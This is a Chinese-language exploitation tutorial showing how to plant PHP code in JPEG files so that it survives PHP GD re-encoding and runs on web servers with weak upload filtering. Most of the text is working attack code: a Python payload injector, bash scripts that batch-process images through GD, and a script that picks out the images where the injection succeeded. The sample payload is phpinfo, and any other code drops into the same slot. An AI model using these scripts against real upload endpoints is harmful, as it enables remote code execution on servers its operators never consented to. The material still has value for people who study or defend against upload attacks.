参考链接:
- https://asdqw3.medium.com/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada
- https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
- https://github.com/dlegs/php-jpeg-injector
前言
某些网站对用户上传的图片没有经过严谨的过滤,不限制文件后缀,只是将用户上传上来的图片使用PHP的gd库处理了一下:
<?php
(isset($argv[3]) ? $q = $argv[3] : $q = -1);
$jpg = imagecreatefromjpeg($argv[1]);
//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool
imagejpeg($jpg, $argv[2], $q);
imagedestroy($jpg);
?>
我们可以通过上传正常图片,更改后缀为php,然后进行访问,根据显示的内容来判断目标是否使用了gd库:
绕过
对于这种处理方式,我们可以通过往图片中注入php代码来进行绕过
直接往图片中追加php代码是不行的,这样会破坏图片的完整性,imagecreatefromjpeg
在处理这样的图片时会抹除所有的字节,我们必须要在特定的位置进行代码的注入
关于这个问题,网上已经有前辈做了相关的研究,在jpg图片的Scan Header00 0C 03 01 00 02 11 03 11 00 3F 00
后面插入代码有概率绕过gd库的imagecreatefromjpeg
函数
之所以说是有概率绕过,是因为在我实际测试的过程中,并不是所有的图片都可以成功注入,有些图片只在Scan Header后注入进了2~3个字节,后面的全变成了乱码,这个具体原因我不清楚
具体的绕过过程需要用到两个脚本:
php-gd.php:
<?php
//php gd.php image.jpg gd-image.jpg 0-100[optional]
(isset($argv[3]) ? $q = $argv[3] : $q = -1);
$jpg = imagecreatefromjpeg($argv[1]);
//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool
imagejpeg($jpg, $argv[2], $q);
imagedestroy($jpg);
?>
jpeg-injector.py:
#!/usr/bin/python3
import sys
import binascii
import os
MAGIC_NUMBER = "03010002110311003f00"
BIN_MAGIC_NUMBER = binascii.unhexlify(MAGIC_NUMBER)
def main():
path_to_vector_image = sys.argv[1]
payload_code = "<?php phpinfo();?>"
path_to_output = sys.argv[2]
with open(path_to_vector_image, 'rb') as vector_file:
bin_vector_data = vector_file.read()
print("[ ] Searching for magic number...")
magic_number_index = find_magic_number_index(bin_vector_data)
if magic_number_index >=0:
print("[+] Found magic number.")
with open(path_to_output, 'wb') as infected_file:
print("[ ] Injecting payload...")
infected_file.write(
inject_payload(
bin_vector_data,
magic_number_index,
payload_code))
print("[+] Payload written.")
else:
print("[-] Magic number not found. Exiting.")
def find_magic_number_index(
data: bytes) -> int:
return data.find(BIN_MAGIC_NUMBER)
def inject_payload(
vector: bytes,
index: int,
payload: str) -> bytes:
bin_payload = payload.encode()
pre_payload = vector[:index + len(BIN_MAGIC_NUMBER)]
post_payload = vector[index + len(BIN_MAGIC_NUMBER) + len(bin_payload):]
return (pre_payload + bin_payload + post_payload)
if __name__ == "__main__":
main()
由于并不是所有的图片都可以进行成功注入,我们可能需要大批量的进行测试,我编写了几个脚本来帮助简化测试
首先,将本机所有的jpg图片复制到同一个目录中:
sudo find / -name '*.jpg' -exec cp "{}" /tmp/jpgs \;
然后我们需要将所有的图片用gd处理一下,因为注入之后我们还需要再gd处理一次,预处理是为了使图片的头部一致,便于对比
预处理脚本:
#!/bin/bash
search_dir="/tmp/jpgs"
for entry in "$search_dir"/*
do
var1="/tmp/gdjpgs/"
basenamefordiff=`basename $entry`
dstfilename="$var1$basenamefordiff"
php /tmp/php-gd.php $entry $dstfilename
echo "$entry"
done
注入脚本:
#!/bin/bash
search_dir="/tmp/gdjpgs"
for entry in "$search_dir"/*
do
var1="/tmp/injectedjpgs/"
basenamefordiff=`basename $entry`
dstfilename="$var1$basenamefordiff"
python3 /tmp/jpeg-injector.py $entry $dstfilename
echo "$entry"
done
再进行一次gd渲染:
#!/bin/bash
search_dir="/tmp/injectedjpgs"
for entry in "$search_dir"/*
do
var1="/tmp/gdinjectedjpgs/"
basenamefordiff=`basename $entry`
dstfilename="$var1$basenamefordiff"
php /tmp/php-gd.php $entry $dstfilename
echo "$entry"
done
理论上来讲,预处理步骤可以省去,这个我没测试,XDM可以自行测试
查找注入成功的图片:
import binascii
import os
for root,dirs,files in os.walk(r"/tmp/gdinjectedjpgs"):
for file in files:
imagepath = os.path.join(root,file)
with open(imagepath, 'rb') as f:
hexdata = binascii.hexlify(f.read())
ascii_string = hexdata.decode('utf-8')
if ascii_string.find("3c3f70687020706870696e666f28293b3f3e") != -1:
print("bingo!")
print(imagepath)
其中3c3f70687020706870696e666f28293b3f3e
是<?php phpinfo();?>
的16进制对应的字符串,这个跟你前面在jpeg-injector.py
中的第11行硬编码的payload的值有关
正常情况下,至少应该有一两个注入成功,如果一个都没有,你可能需要更多的jpg文件来进行测试
End
我不能直接把做好的图片放出来,懂的都懂
另外,在本地使用gd进行图片的处理时最好使用和目标php版本一致的php